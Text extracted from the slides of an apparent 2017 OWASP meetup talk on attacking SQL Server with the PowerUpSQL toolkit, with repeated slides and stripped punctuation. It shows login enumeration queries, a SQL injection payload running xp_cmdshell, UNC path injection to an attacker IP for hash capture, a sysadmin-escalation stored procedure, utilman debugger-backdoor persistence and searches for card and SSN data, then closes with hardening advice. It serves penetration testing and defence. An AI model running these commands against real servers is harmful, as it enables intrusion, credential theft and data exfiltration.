EscalatingPrivileges

OS Admin to SysAdmin

Escalating Privileges OS Admin to SysAdminTwo things to knowhellip

1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges

Escalating Privileges OS Admin to SysAdmin

Approach 2000 2005 2008 2012 2014 2016

LSA Secrets x x x x x x

Local Administrator x x

LocalSystem x x x

Process Migration x x x x x x

Token Stealing x x x x x X

Single User Mode x x x x x

Below are some options for leveraging that knowledge

Escalating Privileges OS Admin to SysAdminHere are some tool options

Approach Common Tools

Access as Local Administrator Management Studio sqlcmd and other native SQL client tools

Access as LocalSystem Psexec accessibility options debugger with native SQL client tools

Recover SQL Server service account password from LSA Secrets

Mimikatz Metasploit lsadump

Inject shellcode or DLL into the SQL Server service process

Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)

Steal Authentication Token From SQL Server service process

Metasploit Incognito Invoke-TokenManipulation

Single User Mode DBATools

Common Post Exploitation Activities

Post Exploitation OverviewCommon Post Exploitation Activities

1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc

2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples

3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS

tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)

Post Exploitation PersistenceTask Command Example

Registry Autorun Persistence

Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014

Debugger Backdoor Persistence

Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014

Post Exploitation Persistence

Post Exploitation Finding Sensitive DataTask Command Example

Locate Encrypted Databases

Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo

Locate and Sample Sensitive Columnsand Export to CSV

Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv

Post Exploitation Finding Sensitive Data

DEMO

Post Exploitation Finding Sensitive Data

DEMO

>

GeneralRecommendations

General Recommendations1 Enforce least privilege everywhere

2 Disable dangerous default stored procedures

3 Install security patches

4 Audit and fix insecure configurations

5 Use policy based management for standardizing configurations

6 Enable auditing at the server and database levels and monitor for potentially malicious activity

PowerUpSQL Overview Thanks

Individual Third Party Code Direct Contributors

Boe Prox Runspace blogs

Warren F ( RamblingCookieMonster) Invoke-Parallel function

Oyvind Kallstad Test-IsLuhnValid function

Kevin Robertson Invoke-Inveigh

Joe Bialek Invoke-TokenManipulation

Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov

Contributions and QA

Khai Tran Design advice

NetSPI assessment team and dev team Design advice

Speaker Information Questions

Name Scott Sutherland

Job Network amp Application Pentester NetSPI

Twitter _nullbind

Slides httpslidesharenetnullbindhttpslidesharenetnetspi

Blogs httpsblognetspicomauthorscott-sutherland

Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind

  • Hacking SQL Server on Scale with PowerShell
  • Speaker Information
  • Presentation Overview
  • Why SQL Server
  • Why PowerShell
  • Slide 6
  • PowerUpSQL Overview Project Goals
  • PowerUpSQL Overview Functions
  • PowerUpSQL Overview Where can I get it
  • PowerUpSQL Overview How do I install it
  • Slide 11
  • SQL Server Basics
  • SQL Server Basics Account Types
  • SQL Server Basics Common Roles
  • Slide 15
  • Find SQL Servers Techniques
  • Find SQL Servers PowerUpSQL
  • Slide 18
  • Testing Login Access Techniques
  • Testing Login Access PowerUpSQL CMDs
  • Testing Login Access PowerUpSQL CMDs (2)
  • Testing Login Access Login CMD Examples
  • Testing Login Access Reusing Result Lists
  • Testing Login Access Domain User Access
  • Testing Login Access Demo
  • Escalating Privileges Domain User
  • Escalating Privileges Domain User (2)
  • Escalating Privileges Domain User (3)
  • Slide 29
  • Escalating Privileges Weak Passwords
  • Escalating Privileges Weak Passwords (2)
  • Escalating Privileges Weak Passwords (3)
  • Escalating Privileges Weak Passwords (4)
  • Escalating Privileges Weak Passwords (5)
  • Escalating Privileges Weak Passwords (6)
  • Escalating Privileges Weak Passwords (7)
  • Escalating Privileges Weak Passwords (8)
  • Escalating Privileges Weak Passwords (9)
  • Escalating Privileges Weak Passwords (10)
  • Escalating Privileges Weak Passwords (11)
  • Escalating Privileges Weak Passwords (12)
  • Escalating Privileges Weak Passwords (13)
  • Escalating Privileges DEMO
  • Slide 44
  • Escalating Privileges Impersonation
  • Escalating Privileges Impersonation (2)
  • Escalating Privileges Impersonation (3)
  • Escalating Privileges Impersonation (4)
  • Escalating Privileges Impersonation (5)
  • Escalating Privileges Impersonation (6)
  • Escalating Privileges Impersonation (7)
  • Escalating Privileges Impersonation (8)
  • Escalating Privileges Impersonation (9)
  • Escalating Privileges Impersonation (10)
  • Escalating Privileges Impersonation (11)
  • Escalating Privileges Impersonation (12)
  • Escalating Privileges Impersonation (13)
  • Escalating Privileges DEMO (2)
  • Escalating Privileges Invoke-SQLPrivEsc
  • Escalating Privileges DEMO (3)
  • Escalating Privileges Invoke-SQLPrivEsc (2)
  • Slide 62
  • Escalating Privileges SysAdmin to Service Account
  • Escalating Privileges SysAdmin to Service Account (2)
  • Escalating Privileges SysAdmin to Service Account (3)
  • Escalating Privileges Invoke-SQLOSCmd
  • Slide 67
  • Escalating Privileges Shared Service Accounts
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • Slide 73
  • Escalating Privileges Crawling SQL Server Links
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Escalating Privileges Crawling SQL Server Links (2)
  • Escalating Privileges Crawling Server Links
  • Escalating Privileges Crawling Server Links (2)
  • Escalating Privileges Crawling Server Links (3)
  • Escalating Privileges Database Links
  • Escalating Privileges Crawling Server Links (4)
  • Slide 85
  • Escalating Privileges UNC Path Injection
  • Escalating Privileges UNC Path Injection (2)
  • Escalating Privileges UNC Path Injection (3)
  • Escalating Privileges UNC Path Injection (4)
  • Escalating Privileges UNC Path Injection (5)
  • Escalating Privileges UNC Path Injection (6)
  • Escalating Privileges DEMO (4)
  • Escalating Privileges UNC Path Injection (7)
  • Slide 94
  • Escalating Privileges OS Admin to SysAdmin
  • Escalating Privileges OS Admin to SysAdmin (2)
  • Escalating Privileges OS Admin to SysAdmin (3)
  • Slide 98
  • Post Exploitation Overview
  • Post Exploitation Persistence
  • Post Exploitation Persistence (2)
  • Post Exploitation Finding Sensitive Data
  • Post Exploitation Finding Sensitive Data (2)
  • Post Exploitation Finding Sensitive Data (3)
  • Slide 105
  • General Recommendations
  • PowerUpSQL Overview Thanks
  • Speaker Information Questions
Page 30: 2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell

Escalating Privileges Weak PasswordsDidnrsquot we just cover this Yes but therersquos morehellip

Technique PowerUpSQL Function

Dictionary Attack Invoke-SQLAuditWeakLoginPw

Default Password Test Invoke-SQLAuditDefaultLoginPw

Local Windows or ADS Domain Account

Get-SQLConnectionTestThreaded

Escalating Privileges Weak Passwordshellipwe can also enumerate SQL Server logins and Domain Accounts

Technique PowerUpSQL Function

Blind Login Enumeration+

Dictionary Attack =

Super Cool

Invoke-SQLAuditWeakLoginPw

bull Enumerate all SQL Server logins with the Public role

bull Enumerate all domain accounts with the Public role

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

3 Use ldquosuser_namerdquo to get SQL logins using just principal ID

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

3 Use ldquosuser_namerdquo to get SQL logins using just principal ID

4 Increment number and repeat

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

3 Use ldquosuser_namerdquo to get SQL logins using just principal ID

4 Increment number and repeat

select n [id] SUSER_NAME(n) [user_name]from ( select top 10000 row_number() over(order by t1number) as Nfrom masterspt_values t1 cross join masterspt_values t2) awhere SUSER_NAME(n) is not null

Code gifted from mobileckSource httpsgistgithubcomConstantineKc6de5d398ec43bab1a29ef07e8c21ec7

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

Domain of SQL Server

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

Full RID of Domain Admins

group

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID RID = 0x0105000000000005150000009CC30DD479441EDEB31027D000020000 SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID

4 Create new RID with by appending a hex number value and the SID

1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID

SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID

4 Create new RID with by appending a hex number value and the SID

5 Use ldquosuser_namerdquo function to get domain object name

1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID

SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID

4 Create new RID with by appending a hex number value and the SID

5 Use ldquosuser_namerdquo function to get domain object name

6 Increment and repeat

1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID

SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000

Escalating Privileges DEMO

DEMOGet-SQLFuzzServerLogin

Invoke-SQLAuditWeakLoginPw

Get-SQLFuzzDomainAccount

>

Escalating Privileges Impersonation

1 Impersonate Privilege

bull Server EXECUTE AS LOGIN

bull Database EXECUTE AS USER

2 Stored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER

bull Signed with cert login

3 Automatic Execution of Stored Procedures

4 Agent Jobs

bull User Reader and Operator roles

5 xp_cmdshell proxy acount

6 Create Databse Link to File or Server

7 Import Install Custom Assemblies

8 Ad-Hoc Queries

9 Shared Service Accounts

10 Database Links

11 UNC Path Injection

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Prosbull Execute queriescommands in another user

context

Consbull Commands and queries are not limited in any waybull Requires database to be configured as trustworthy

for OS command execution

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

Prosbull Can execute queriescommands in another user contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATE

Consbull No granular control over the database ownerrsquos

privilegesbull DB_OWNER role can EXECUTE AS OWNER of the DB

which is often a sysadminbull Requires database to be configured as trustworthy for

OS command executionbull Impersonation can be done via SQL injection under

specific conditionsbull Impersonation can be done via command injection

under specific conditions

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

bull DB_OWNER role can impersonate the actual database owner

USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

bull DB_OWNER role can impersonate the actual database owner

USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO

SYSADMIN is often the

OWNER

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull Use signed Procedures

o Create stored procedure

o Create a database master key

o Create a certificate

o Create a login from the certificate

o Configure login privileges

o Sign stored procedure with certifiate

o GRANT EXECUTE to User

Prosbull Can execute queriescommands in another user

contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATEbull Granular control over permissionsbull Database does NOT have to be configured as

trustworthy for OS command execution

Consbull Impersonation can be done via SQL injection

under specific conditionsbull Impersonation can be done via command

injection under specific conditions

Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2

DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2

DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO

PURE EVIL

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example

EXEC MASTERdbosp_sqli2 masterEXEC masterxp_cmdshell whoami--

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example

Escalating Privileges ImpersonationAutomatic Execution of Stored Procedure

bull Stored procedures ca be configured to execute when the SQL Server service restarts

Prosbull Marking a stored procedure to run when the SQL

Server service restarts has many use casesbull Only stored procedures in the master database

can be marked for auto execution

Consbull No granular control over what context the startup

command is executed inbull All stored procedures marked for auto execution

are executed as lsquosarsquo even if lsquosarsquo is disabledbull Any non sysadmin access to stored procedures

can lead to execution as lsquosarsquo

Escalating Privileges DEMO

DEMOInvoke-SQLAudit

Escalating Privileges Invoke-SQLPrivEsc

Whooray for Automation Demo

>

Escalating Privileges DEMO

DEMOInvoke-SQLEscalatePriv

Escalating Privileges Invoke-SQLPrivEsc

DEMO

>

EscalatingPrivileges

SysAdmin to Service Account

Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation

Executing OS Commands xp_cmdshell Custom Assemblies (net) httpsekirkitycomseeclrly-fileless-sql-server-clr-based-custom-stored-procedure-command-execution Custom Extended Stored Procedures (C++) Agent Jobs httpswwwoptivcomblogmssql-agent-jobs-for-command-execution

o ActiveX Vbscript Jscript and Othero CmdExeco PowerShello SSIS Package

Registry Autoruns File Autoruns

Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation

You donrsquot need to know the password crack a hash or PTH

Service Account Types Local User Local System Network Service Local managed service account Domain managed service account Domain User Domain Admin

Escalating Privileges SysAdmin to Service AccountBut wait therersquos morehellipRottenPotato DerbyCon 2016

bull We can now escalation from service account to LocalSystem

bull No patch that Irsquom aware of

bull Authors Chris Mallz (vvalien1) amp Steve Breen (breenmachine)

Blog

httpsfoxglovesecuritycom20160926rotten-potato-privilege-escalation-from-service-accounts-to-system

Code

httpsgithubcomfoxglovesecRottenPotato

Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution

PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc

EscalatingPrivileges

Shared Service Accounts

Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts

1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them

One account to rule them all

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Access to HVA with shared domain service account

Key

HVA = High Value Application

LVA = Low Value Application

Execute commands and gather data from other

database servers via osql

3

Leveraging Shared MS SQL Server Service Accounts

EscalatingPrivileges

Crawling SQL Server Links

Escalating Privileges Crawling SQL Server LinksWhatrsquos a SQL Server link

SQL Server links are basically persistent database connections for SQL Servers

Why should I care

Short answer = privilege escalation

Public role can use links to execute queries on remote servers (impersonation)

SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)

Stored procedures can be executed (xp_cmdshell)

Links can be crawled

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain EvilKey

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB Link with

SA account

DB1

LVA

Execute SQL queries and local commands on

database servers via nested linked services

2

Escalating Privileges Crawling SQL Server Links

Penetration Test Stats

Database links exist (and can be crawled) in about 50 of environments wersquove seen

The max number of hops wersquove seen is 12

The max number of servers crawled is 226

Escalating Privileges Crawling Server Links

Old Script

Released 2012 httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler

New Functions

Author Antti Rantasaari httpsblognetspicomsql-server-link-crawling-powerupsql

Escalating Privileges Crawling Server LinksFunction Description

Get-SQLServerLink Get a list of SQL Server Link on the server

Get-SQLServerLinkCrawl Crawls linked servers and supports SQL query and OS command execution

Examples

Get-SQLServerLinkCrawl -verbose -instance 1029101SQLSERVER2008ldquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoselect from mastersysdatabasesrdquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoexec masterxp_cmdshell lsquowhoamirsquordquo

Escalating Privileges Crawling Server Links

DEMO

Escalating Privileges Database Links

DEMO

>

Escalating Privileges Crawling Server Links

EscalatingPrivileges

UNC Path Injection

Escalating Privileges UNC Path Injection

UNC Path Injection Summary

UNC paths are used for accessing remote file servers like so 19216814file

Almost all procedures that accept a file path in SQL Server support UNC paths

UNC paths can be used to force the SQL Server service account to authenticate to an attacker

An attacker can then capture the NetNTLM password hash and crack or relay it

Relay becomes pretty easy when you know which SQL Servers are using shared accounts

Escalating Privileges UNC Path Injection

Escalating Privileges UNC Path Injection

The Issue

bull By DEFAULT the PUBLIC role can execute at least two procedures that accept a file path

xp_dirtree attackeripfilelsquoxp_fileexists attackeripfilelsquo

The Solution

bull EXECUTE rights on xp_dirtree and fileexists can be REVOKED for the Public role (but no one does that)

UNC Path Injection Cheat Sheetbull httpsgistgithubcomnullbind7dfca2a6309a4209b5aeef181b676c6e

Escalating Privileges UNC Path Injection

Another Issue

bull The Public role can perform UNC path injection into the BACKUP and RESTORE commands

BACKUP LOG [TESTING] TO DISK = attackeripfilelsquoRESTORE LOG [TESTING] FROM DISK = attackeripfile

Partial Solution

bull A patch was released for SQL Server versions 2012 through 2016

httpstechnetmicrosoftcomlibrarysecurityMS16-131

bull There is no fix for SQL Server 2000 to 2008

Escalating Privileges UNC Path Injection

So in summaryhellip

The PUBLIC role can access the SQL Server service account NetNTLM

password hash by default

Escalating Privileges UNC Path Injection

But who really hasPUBLIC role access

Oh yeah a ton of domain users

Escalating Privileges DEMO

DEMOGet-SQLServiceAccountPwHashes

hellipwhat Itrsquos self descriptive

Escalating Privileges UNC Path Injection

DEMO

>

EscalatingPrivileges

OS Admin to SysAdmin

Escalating Privileges OS Admin to SysAdminTwo things to knowhellip

1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges

Escalating Privileges OS Admin to SysAdmin

Approach 2000 2005 2008 2012 2014 2016

LSA Secrets x x x x x x

Local Administrator x x

LocalSystem x x x

Process Migration x x x x x x

Token Stealing x x x x x X

Single User Mode x x x x x

Below are some options for leveraging that knowledge

Escalating Privileges OS Admin to SysAdminHere are some tool options

Approach Common Tools

Access as Local Administrator Management Studio sqlcmd and other native SQL client tools

Access as LocalSystem Psexec accessibility options debugger with native SQL client tools

Recover SQL Server service account password from LSA Secrets

Mimikatz Metasploit lsadump

Inject shellcode or DLL into the SQL Server service process

Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)

Steal Authentication Token From SQL Server service process

Metasploit Incognito Invoke-TokenManipulation

Single User Mode DBATools

Common Post Exploitation Activities

Post Exploitation OverviewCommon Post Exploitation Activities

1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc

2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples

3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS

tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)

Post Exploitation PersistenceTask Command Example

Registry Autorun Persistence

Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014

Debugger Backdoor Persistence

Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014

Post Exploitation Persistence

Post Exploitation Finding Sensitive DataTask Command Example

Locate Encrypted Databases

Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo

Locate and Sample Sensitive Columnsand Export to CSV

Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv

Post Exploitation Finding Sensitive Data

DEMO

Post Exploitation Finding Sensitive Data

DEMO

>

GeneralRecommendations

General Recommendations1 Enforce least privilege everywhere

2 Disable dangerous default stored procedures

3 Install security patches

4 Audit and fix insecure configurations

5 Use policy based management for standardizing configurations

6 Enable auditing at the server and database levels and monitor for potentially malicious activity

PowerUpSQL Overview Thanks

Individual Third Party Code Direct Contributors

Boe Prox Runspace blogs

Warren F ( RamblingCookieMonster) Invoke-Parallel function

Oyvind Kallstad Test-IsLuhnValid function

Kevin Robertson Invoke-Inveigh

Joe Bialek Invoke-TokenManipulation

Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov

Contributions and QA

Khai Tran Design advice

NetSPI assessment team and dev team Design advice

Speaker Information Questions

Name Scott Sutherland

Job Network amp Application Pentester NetSPI

Twitter _nullbind

Slides httpslidesharenetnullbindhttpslidesharenetnetspi

Blogs httpsblognetspicomauthorscott-sutherland

Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind

  • Hacking SQL Server on Scale with PowerShell
  • Speaker Information
  • Presentation Overview
  • Why SQL Server
  • Why PowerShell
  • Slide 6
  • PowerUpSQL Overview Project Goals
  • PowerUpSQL Overview Functions
  • PowerUpSQL Overview Where can I get it
  • PowerUpSQL Overview How do I install it
  • Slide 11
  • SQL Server Basics
  • SQL Server Basics Account Types
  • SQL Server Basics Common Roles
  • Slide 15
  • Find SQL Servers Techniques
  • Find SQL Servers PowerUpSQL
  • Slide 18
  • Testing Login Access Techniques
  • Testing Login Access PowerUpSQL CMDs
  • Testing Login Access PowerUpSQL CMDs (2)
  • Testing Login Access Login CMD Examples
  • Testing Login Access Reusing Result Lists
  • Testing Login Access Domain User Access
  • Testing Login Access Demo
  • Escalating Privileges Domain User
  • Escalating Privileges Domain User (2)
  • Escalating Privileges Domain User (3)
  • Slide 29
  • Escalating Privileges Weak Passwords
  • Escalating Privileges Weak Passwords (2)
  • Escalating Privileges Weak Passwords (3)
  • Escalating Privileges Weak Passwords (4)
  • Escalating Privileges Weak Passwords (5)
  • Escalating Privileges Weak Passwords (6)
  • Escalating Privileges Weak Passwords (7)
  • Escalating Privileges Weak Passwords (8)
  • Escalating Privileges Weak Passwords (9)
  • Escalating Privileges Weak Passwords (10)
  • Escalating Privileges Weak Passwords (11)
  • Escalating Privileges Weak Passwords (12)
  • Escalating Privileges Weak Passwords (13)
  • Escalating Privileges DEMO
  • Slide 44
  • Escalating Privileges Impersonation
  • Escalating Privileges Impersonation (2)
  • Escalating Privileges Impersonation (3)
  • Escalating Privileges Impersonation (4)
  • Escalating Privileges Impersonation (5)
  • Escalating Privileges Impersonation (6)
  • Escalating Privileges Impersonation (7)
  • Escalating Privileges Impersonation (8)
  • Escalating Privileges Impersonation (9)
  • Escalating Privileges Impersonation (10)
  • Escalating Privileges Impersonation (11)
  • Escalating Privileges Impersonation (12)
  • Escalating Privileges Impersonation (13)
  • Escalating Privileges DEMO (2)
  • Escalating Privileges Invoke-SQLPrivEsc
  • Escalating Privileges DEMO (3)
  • Escalating Privileges Invoke-SQLPrivEsc (2)
  • Slide 62
  • Escalating Privileges SysAdmin to Service Account
  • Escalating Privileges SysAdmin to Service Account (2)
  • Escalating Privileges SysAdmin to Service Account (3)
  • Escalating Privileges Invoke-SQLOSCmd
  • Slide 67
  • Escalating Privileges Shared Service Accounts
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • Slide 73
  • Escalating Privileges Crawling SQL Server Links
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Escalating Privileges Crawling SQL Server Links (2)
  • Escalating Privileges Crawling Server Links
  • Escalating Privileges Crawling Server Links (2)
  • Escalating Privileges Crawling Server Links (3)
  • Escalating Privileges Database Links
  • Escalating Privileges Crawling Server Links (4)
  • Slide 85
  • Escalating Privileges UNC Path Injection
  • Escalating Privileges UNC Path Injection (2)
  • Escalating Privileges UNC Path Injection (3)
  • Escalating Privileges UNC Path Injection (4)
  • Escalating Privileges UNC Path Injection (5)
  • Escalating Privileges UNC Path Injection (6)
  • Escalating Privileges DEMO (4)
  • Escalating Privileges UNC Path Injection (7)
  • Slide 94
  • Escalating Privileges OS Admin to SysAdmin
  • Escalating Privileges OS Admin to SysAdmin (2)
  • Escalating Privileges OS Admin to SysAdmin (3)
  • Slide 98
  • Post Exploitation Overview
  • Post Exploitation Persistence
  • Post Exploitation Persistence (2)
  • Post Exploitation Finding Sensitive Data
  • Post Exploitation Finding Sensitive Data (2)
  • Post Exploitation Finding Sensitive Data (3)
  • Slide 105
  • General Recommendations
  • PowerUpSQL Overview Thanks
  • Speaker Information Questions
Page 31: 2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell

Escalating Privileges Weak Passwordshellipwe can also enumerate SQL Server logins and Domain Accounts

Technique PowerUpSQL Function

Blind Login Enumeration+

Dictionary Attack =

Super Cool

Invoke-SQLAuditWeakLoginPw

bull Enumerate all SQL Server logins with the Public role

bull Enumerate all domain accounts with the Public role

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

